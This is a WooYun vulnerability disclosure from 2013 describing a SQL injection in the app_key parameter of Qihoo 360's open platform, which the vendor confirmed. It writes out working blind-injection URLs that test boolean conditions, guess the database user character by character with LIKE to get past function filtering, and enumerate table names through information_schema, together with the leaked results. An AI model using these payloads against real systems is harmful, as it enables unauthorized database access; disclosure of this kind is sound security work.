当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018172

漏洞标题:360应用开放平台SQL注入

相关厂商:奇虎360

漏洞作者: gainover

提交时间:2013-01-31 14:27

修复时间:2013-03-17 14:27

公开时间:2013-03-17 14:27

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-31: 细节已通知厂商并且等待厂商处理中
2013-01-31: 厂商已经确认,细节仅向厂商公开
2013-02-10: 细节向核心白帽子及相关领域专家公开
2013-02-20: 细节向普通白帽子公开
2013-03-02: 细节向实习白帽子公开
2013-03-17: 细节向公众公开

简要描述:

360应用开放平台某文件参数未过滤,导致可被注入。

详细说明:

缺陷点如下:
http://open.se.360.cn/static/js/patch.php?app_key=[注入点]
测试如下:
1. 1=1和1=2
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(1=1)%20and%20'1'='1
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(1=2)%20and%20'1'='1
返回内容不一致。
前者是:

var ua_360 = false;var server_data = [];


后者是:

var ua_360 = false;var server_data = [....一堆内容......];


2. 判断用户长度。
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20(length(user())%3E22)%20and%20'1'='1
3. 但是当想进一步获取内容时,调用某些函数,例如substring, left, right 时,状况是:

var ua_360 = false;var server_data = 这里变得没内容了。


4. 因而看来这里应该是做了某些安全防护,对某些函数加以过滤了?
于是换个方式获取下内容:
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and (user() like 'o%') and%20'1'='1
返回 var ua_360 = false;var server_data = []; 说明 用户名第一个字母是 o
依次类推,可以得到用户为 OPEN_SE@220.***.***.186
数据库名为 OPEN_SE_360_CN
5. 进一步为了获得表名,写个程序跑了跑。
http://open.se.360.cn/static/js/patch.php?app_key=1'%20and%20((select/**/group_concat(table_name)/**/from%20information_schema.tables)%20like%20'%CHARACTER_SETS[待跑内容]')%20and%20'1'='1
可得到结果如下:
EXTENSION
EXTENSION_ENABLED
EXTENSION_LATEST
LOG_2012
...

漏洞证明:

见详细说明!

修复方案:

对 app_key 参数过滤下。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-01-31 14:36

厂商回复:

感谢您的反馈,该漏洞确实存在,相关工作人员正在处理该问题。

最新状态:

暂无